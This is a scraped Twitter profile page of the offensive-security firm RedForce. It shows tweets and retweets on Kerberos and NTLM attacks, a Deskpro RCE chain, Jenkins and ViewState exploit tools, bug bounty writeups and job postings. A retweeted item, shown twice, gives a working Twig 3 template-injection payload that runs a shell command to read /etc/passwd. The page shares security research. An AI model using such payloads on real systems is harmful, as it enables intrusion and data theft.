RedForce @RedForceSec

security consultancy company providing offensive security services for unlimited scale of business. redforce.io Joined September 2018

Tweets

26
Followers

925
Following

19
Likes

52

Bug Bounty Reports Explained @gregxsunday

5 years ago

The video about blind SSRF in Google Cloud for which @david_nechuta got $31k is out! Watch it to see how it's sometimes possible to exfiltrate data with blind SSRFs. You can also test your own skills with hands-on lab 😎 Enjoy! youtu.be/ashSoc59z1Y

3 98 294 0 67

RedForce @RedForceSec

5 years ago

Our team member @0x4148 just published the 2nd part of windows authentication attacks. This part covers Kerberos authentication process and technical analysis of widely used Kerberos attacks. blog.redforce.io/windows-authen… Happy reading

0 7 14 0 1

Download Image

RedForce @RedForceSec

6 years ago

We've just published the 1st part of the Windows authentication attacks series. blog.redforce.io/windows-authen… The series suppose to cover the NTLM/Kerberos authentication in detail as well as how their attacks work. Happy reading, and stay tuned for part 2.

0 15 31 0 0

Download Image

Bo0oM @i_bo0om

6 years ago

Twig 3 SSTI RCE {{['cat${IFS}/etc/passwd']|filter('system')}}

Sergey Bobrov @Black2Fan

6 years ago

Twig 3 SSTI RCE {{['cat${IFS}/etc/passwd']|filter('system')}}

0 28 102 0 16

4 52 148 0 29

RedForce @RedForceSec

6 years ago

We have updated the article with another "UNPATCHED" vector to achieve RCE. Thanks @Zombiehelp54 for the heads up. blog.redforce.io/attacking-help…

RedForce @RedForceSec

6 years ago

We have updated the article with another "UNPATCHED" vector to achieve RCE. Thanks @Zombiehelp54 for the heads up. blog.redforce.io/attacking-help…

2 62 117 0 18

Download Image

3 10 21 0 3

RedForce @RedForceSec

6 years ago

Attacking Helpdesks (Part 1): Remote Code Execution (#RCE) chain on #Deskpro with #Bitdefender as a case study. Full technical details to #exploit RCE inside. blog.redforce.io/attacking-help… #BugBounty #websecurity #infosecwriteup

2 62 117 0 18

Download Image

Ahmed Aboul-Ela @aboul3la

6 years ago

This will have huge impact!, another great example on how RCE can be achieved on OWA easily through ViewState deserialization attack. Red Teamers it's your chance now :) thezdi.com/blog/2020/2/24…

5 77 165 0 39

RedForce @RedForceSec

6 years ago

We are hiring, Sales Executive check the link for more details wuzzuf.net/jobs/p/263324-…

0 2 1 0 0

Download Image

RedForce @RedForceSec

6 years ago

We are hiring, Sales Executive check the link for more details wuzzuf.net/jobs/p/263321-…

0 2 3 0 0

Download Image

RedForce @RedForceSec

6 years ago

We are hiring, Back-end Developer check the link for more details wuzzuf.net/jobs/p/263320-…

0 2 4 0 0

Download Image

RedForce @RedForceSec

6 years ago

We are hiring, Front-end Developer check the link for more details wuzzuf.net/jobs/p/263316-…

0 2 2 0 0

Download Image

RedForce @RedForceSec

6 years ago

We are Hiring, check the link for more details wuzzuf.net/jobs/careers/R…

0 1 4 0 0

Download Image

/r/netsec @_r_netsec

6 years ago

Jenkins pentesting notes and scripts github.com/gquere/pwn_jen…

0 202 506 0 89

Orange Tsai 🍊 @orange_8361

6 years ago

"There is no pre-auth RCE in Jenkins since May 2017, but this is the one!" Relase a more reliable and elegant exploit - "awesome-jenkins-rce-2019" from my #HITB2019AMS talk. Thanks @0ang3el and @webpentest join this party! github.com/orangetw/aweso…

3 267 515 0 27

Download Image

André Baptista @0xacb

7 years ago

Just released viewgen, a ViewState tool capable of generating both signed and encrypted payloads with leaked validation keys or web.config files. All algorithms supported. TL;DR: Got a web.config file or LFI on ASP.NET? Pop a shell! github.com/0xACB/viewgen

11 353 859 0 87

RedForce @RedForceSec

7 years ago

Kerberoasting revealed. The 1st part of Microsoft Kerberos implementation attacks series by our team member @Hatemsec . blog.redforce.io/oh-my-kerberos… Happy reading. #PenTest #redteam

0 50 72 0 5

Charles Fol @cfreal_

7 years ago

Apache Local Root: CVE-2019-0211: Vulnerability description. Exploit will come later. cfreal.github.io/carpe-diem-cve…

10 383 635 0 30

RedForce @RedForceSec

7 years ago

A 10k bounty tale writeup by our team member @0x4148, explaining the exploitation of SQL injection issue inside insert query where it wasn't possible to use commas as part of the exploit payload. blog.redforce.io/sql-injection-… Happy reading